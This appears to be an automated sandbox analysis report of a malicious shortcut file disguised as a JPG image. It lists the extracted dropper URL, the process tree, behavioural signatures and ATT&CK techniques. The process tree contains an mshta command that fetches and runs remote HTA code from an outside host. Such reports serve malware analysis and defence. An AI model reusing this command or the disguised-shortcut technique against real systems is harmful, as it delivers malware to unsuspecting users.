Analysis

  • max time kernel
    231s
  • max time network
    714s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG_20210628_160548.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210628_160548

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210628_160548.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210628_160548
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:2708

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Install Root Certificate

1
T1130

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2708-131-0x00007FF8F6B90000-0x00007FF8F7651000-memory.dmp
    Filesize

    10.8MB